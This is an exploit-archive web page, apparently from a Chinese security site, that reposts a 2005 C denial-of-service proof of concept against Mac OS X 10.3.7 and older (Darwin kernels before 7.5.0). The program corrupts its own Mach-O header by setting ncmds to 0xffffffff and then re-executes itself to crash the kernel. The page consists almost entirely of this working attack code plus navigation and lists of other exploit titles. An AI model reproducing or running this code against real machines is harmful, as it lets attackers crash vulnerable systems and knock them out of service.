首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MacOSX <= 10.3.7 Input Validation Flaw (DoS)
来源:www.pulltheplug.org 作者:nemo 发布时间:2005-01-22  

MacOSX <= 10.3.7 Input Validation Flaw (DoS)

/*
* DoS for Darwin Kernel Version < 7.5.0
* -(nemo pulltheplug org)-
* 2005
*
* greetz to awnex, cryp, nt, andrewg, arc, mercy, amnesia ;)
* irc.pulltheplug.org (#social)
*/


#include <stdio.h>

int main( int ac, char * * av )
{
FILE * me;
int rpl = 0xffffffff;
fpos_t pos = 0x10;
printf( "-( nacho - 2004 DoS for OSX (darwin < 7.5.0 )-\n" );
printf( "-( nemo pulltheplug org )-\n\n" );
printf( "[+] Opening file for writing.\n" );
if ( !( me = fopen( * av, "r+" ) ) )
{
printf( "[-] Error opening exe.\n" );
exit( 1 );
}
printf( "[+] Seeking to ncmds.\n" );
if ( ( fsetpos( me, & pos ) ) == -1 )
{
printf( "[-] Error seeking to ncmds.\n" );
exit( 1 );
}
printf( "[+] Changing ncmds to 0x%x.\n", rpl );
if ( fwrite( & rpl, 4, 1, me ) < 1 )
{
printf( "[-] Error writing to file.\n" );
exit( 1 );
}
fclose( me );
printf( "[+] Re-executing with modified mach-o header.\n" );
sleep( 5 );
if ( execv( * av, av ) == -1 )
{
printf( "[-] Error executing %s, please run manually.\n", * av );
exit( 1 );
}
exit( 0 ); // hrm
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·fkey v0.0.2 Local File Accessi
·Microsoft Internet Explorer .A
·EXIM dns_buld_reverse() PoC
·Mac OS X 10.3 iSync 'mRouter'
·Peer2Mail Encrypted Password D
·最新Help ActiveX控件网页木马
·NodeManager Professional 2.00
·Search and Replace Compressed
·Linux kernel i386 SMP race con
·AWStats configdir Remote Comma
·Apple iTunes Playlist Remote B
·AWStats configdir Remote Comma
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved